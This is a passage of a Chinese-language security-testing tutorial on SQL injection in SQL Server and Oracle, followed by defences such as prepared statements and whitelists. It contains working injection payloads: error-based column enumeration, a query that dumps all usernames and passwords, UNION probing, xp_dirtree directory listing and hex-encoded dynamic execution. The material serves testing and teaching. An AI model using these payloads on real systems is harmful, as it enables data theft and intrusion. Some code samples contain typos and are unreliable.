软件安全性测试(连载11)

2020-02-10 11:14:22 浏览数 (1)

4. SQL Server数据库特性

1)利用错误信息枚举当前表和列

假设当前有这么一张数据表。

create table users(

id int not null identity(1,1),

username varchar(10) not null,

password varchar(10) not null,

email varchar(50)

)

插入几条数据,比如。

insert into dbo.usersvalues('jerry','123456','xianggu625@126.com')

假设和系统中由用户输入用户名,然后显示该用户的信息,假设SQL语句为:

select * from users whereusername='$var'

假设这时候存在SQL注入,可以利用错误信息来获取表单的信息,方法如下。

在输入框中输入:jerry' having 1=1--,这时候SQL语句变为。

select * from users whereusername='jerry' having 1=1--'

后台会显示。

消息 8120,级别 16,状态 1,第 1 行

选择列表中的列'users.id' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

从而暴露表名users及列名id。接下来,在输入框中输入:jerry' group by id having 1=1--,这时候SQL语句变为。

select * from users whereusername='jerry' group by id having 1=1--'

后台会显示。

消息 8120,级别 16,状态 1,第 1 行

选择列表中的列'users.username' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

这时候,又暴露列名id username。继续,在输入框中输入:'jerry' group byid,username having 1=1--,这时候SQL语句有变为。

select * from users whereusername='jerry' group by id,usernamehaving 1=1--'

后台会显示。

消息 8120,级别 16,状态 1,第 1 行

选择列表中的列'users.password' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

又把列名password给暴露了。

2)利用错误信息提取数据

假设用户登录界面,存在两个输入文本框,分别要求输入用户名和密码。在用户名文本框中输入:tom,而在密码文本框中输入:555555'and 1>(select top 1 username from users) --,SQL语句可能为如下形式。

select * from users whereusername='tom' and password='555555' and 1>(select top 1 username fromusers) --'

这个时候页面显示。

消息245,级别16,状态1,第1行

在将varchar值'jerry'转换成数据类型int时失败。

这样暴露了用户名为jerry,而不是输入的tom。

接下来,修改用户名为jerry,密码文本框中输入:555555'

and 1=CONVERT(int,(select stuff((select',' users.username,'|' users.password from users

for xml path('')),1,1,''))) --,SQL语句可能为如下形式。

select* from users where username='jerry' and password='555555' and1=CONVERT(int,(select stuff((select ',' users.username,'|' users.password fromusers for xml path('')),1,1,''))) --'

此时系统将把表中的所有信息显示出来。

消息 245,级别 16,状态 1,第 1 行

在将 nvarchar 值'jerry|123456,Linda|654321,cindy|qwert,Jessica|mnbvc' 转换成数据类型int 时失败。

由于黑客无法真正操作数据库,而是通过页面显示错误信息而得之的,所以需要注意以下两点。

l 程序不要把错误信息暴露给前端。

l 发布版本的时候,请关闭debug模式,尽可能把不必要的信息暴露给使用者。

3)利用Order by子句盲注

仍旧以开始的表为例,可以通过Order by子句盲注来获得表中的列数。假设页面URL为:http://www.mydomain.com/xxx.jsp?id=1,功能是显示id为1个用户的信息,存在SQL注入风险。

把URL后缀改为:…?id=1 Order by 1,对应SQL语句可能为。

select * from users where id=1Order by 1

显示正常,将Order by 1改为Order by 2,对应SQL语句可能为。

select * from users where id=1Order by 2

显示仍旧正常,将Order by 2改为Order by 3,对应SQL语句可能为。

select * from users where id=1Order by 3

显示仍旧正常,将Order by 3改为Order by 4,对应SQL语句可能为。

select * from users where id=1Order by 4

显示还是正常,将Order by 4改为Order by 5,对应SQL语句可能为。

select * from users where id=1Order by 5

显示内部错误,说明当前表中存在4列,这样为下面UNION攻击打下基础。

4)通过UNION攻击获取字段类型

有了上面的攻击,黑客得之当前表中存在4列,可以通过UNION攻击获取每列的字符类型。

URL后缀做如下修改:…?id=1Order by 1 union select 'x',null,null,nullfrom sysobjects where xtype='U',这样SQL语句变为。

select * from users where id=1union select 'x',null,null,null fromsysobjects where xtype='U'

显示内部错误,说明第一个字段不是字符串类型,修改URL:…?id=1 Order by 1 union select 1,null,null,null from sysobjects wherextype='U',这样SQL语句变为。

select * from users where id=1union select 1,null,null,null fromsysobjects where xtype='U'

显示正常,说明第一个字段是整数类型。从而可以继续判断后面三个字段类型。

5)通过UNION攻击获取元数据

正如3.1-2最后所述,可以利用UNION攻击获取元数据。在SQL Server中获取元数据语句如下。

l 获取表名

SELECT TABLE_NAME FROMINFORMATION_SCHEMA.TABLES

l 获取表中的列名

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNSwhere TABLE_NAME='users'

6)利用数据库函数

与MySQL一样,也可以使用数据库自带的函数获得系统数据,在这里仅把一些关键函数列在6中,不做过多的介绍。

6 SQL Server主要函数

函数

解释

select suser_name()

返回用户登录的标识名

select user_name()

基于指定的标识号返回数据库的用户名

select db_name()

返回数据库名称

select is_member('db_owner')

是否为数据库角色

select convert(int, '5')

数据类型转换

stuff()

字符串截取函数

acscii()

取ASCII码

getdate()

返回日期

count()

返回总记录数

cast()

将一种类型的表达式转换成另一种类型的表达式

rand()

返回随机数

is_srvrolemember()

指定SQL Server登录名是否为指定服务器角色的成员

7)使用存储过程

使用存储过程可以查询到数据库之外的系统信息,比如SQL Server下有一个存储过程叫xp_dirtree  <dir>,利用它可以获得目录dir所有子目录。SQL语句如下。

select * from users whereid=1;exec xp_dirtree 'C:WINDOWS'

显示C:WINDOWS所有目录与子目录。运行后的效果如27所示。

27 执行存储过程xp_dirtree'C:WINDOWS'运行结果

更多的SQL Server存储过程读者可以查询SQL Server官方网站,另外读者也可以自己书写存储过程。

8)动态执行

SQL Server支持动态执行,其形式如下。

exec('select * from users')

如果前端不允许引号存在,可以使用下面形式。

declare @myquery varchar(888)

select @myquery =0x73656C6563742031

exec(@myquery)

防止动态执行最有效的方式是系统不要允许用户输入执行代码。

5. Oracle数据库特性

对于Oracle数据库,有了前面的知识,不做详细地介绍。

1)获取元数据

按照7的方法获取Oracle元数据

7 获取Oracle元数据

内容

语句

user_tablespaces视图,查看表空间

select tablespace_name from user_tablespaces

user_tables视图,查看当前用户的所有表

select table_name from user_tables where  rownum=1

user_tab_columns视图,查看当前用户的所有列

select column_name from user_tab_columns where  table_name= 'users'

服务器监听 IP

select utl _inaddr.get _host_address from dual

服务器操作系统

select member from v$logfile where rownum=1

服务器sid

select instance _name fromv$instance

当前连接用户

select SYS_CONTEXT('USERENV', 'CURRENT_USER')  trom dual

all_users视图,查看 Oracle数据库的所有用户。

select username from all_user

user_obiects视图,查看当前用户的所有对象(表名称、约束、索引)。

select obect_name from user_objects

2)通过UNION查询获取敏感信息

按照8的方法通过UNION查询获取敏感信息。

8 获取Oracle敏感信息

内容

语句

当前用户权限

select * from session_roles

当前数据库版本

select banner from sys.v _$Version where rownum=1

服务器出口IP

utl_http.request

服务器监听 IP

select utl _inaddr.get _host_address from dual

服务器操作系统

select member from v$logfile where rownum=1

服务器sid

select instance _name fromv$instance

当前连接用户

select SYS_CONTEXT('USERENV', 'CURRENT_USER') trom dual

Oracle不支持多语句查询,如下语句是错误的。

select * from user;exec(….)

另外在Oracle进行UNION查询的时候,不能采取

union slelect null,null,null

格式,而要采取如下格式。

union slelectnull,null,null…from dual

6. SQL注入的测试方法

对于SQL注入的测试,可以采用SQL Map、Pangolin(穿山甲)这两个工具,具体这两个工具的使用方法,在本书下篇的第6.2.2和第6.2.3将进行详细介绍。

7. SQL注入的防护方法

SQL注入的防护方法有以下几种方法。

1)严格字符类型

对于强类型语言,比如JAVA、C#,对于id不要使用字符串格式,而使用整数格式。比如。

int id =Inter.ParseInt(request.getParameter("id"));

而对于弱类型语言,比如PHP、ASP,使用类似is_number() ctype_digit()函数来判断。比如。

$id=$_GET('id')

if (is_number($id)){

$sql = "select * fromtables where id=$id;"; }

else{

echo "id必须为整数类型"

}

2)特殊转义字符

select * from user whereusername= '1111' password= '' or 1=1 --''

上面语句把单引号通过转义。如果是JAVA语句可以用ESAPI。

Oracle orcl = new OracleCode();

String sql = select * from userwhere USERI=" ESAPI.encoder().encodeForSQL(orcl,userId);

Statement stmt=conn.creatrStatement(sql);

3)使用预编译

前面讲到的案例会发现都是使用拼接SQL语句的方式来实现,在JAVA中可以使用预编译的方式来实现防止SQL注入。下面代码是通过预编译来实现对数据如的查询的jsp代码。

<%

String sql="select count(*)as mycount from user where name=? and password=?" ;

Stringurl="jdbc:mysql://localhost/" dbName "?user=" userName "&password=" userPasswd;

Class.forName(driverName).newInstance();

Connectionconn=DriverManager.getConnection(url);

PreparedStatement ps =conn.prepareStatement(sql);

ps.setString(1,name);

ps.setString(2,password);

ResultSet rs =ps.executeQuery();

out.print(sql "<br>");

rs.next();

rs.close();

conn.close();

}catch(Exception e){

    out.print(e);}

%>

4)利用白名单过滤

可以利用白名单,控制可以访问的表名。

StringtableName=request.getParameter("tablename");

iftableName.equals("teacher"){

    stmt= "select * from teacher where name=? ";

}else iftableName.equals("student"){

     stmt = "select * from student wherename=? ";

}else {

    thrownew SQLException("table name is error!!! ");

}

5)使用安全WEB开发框架

0 人点赞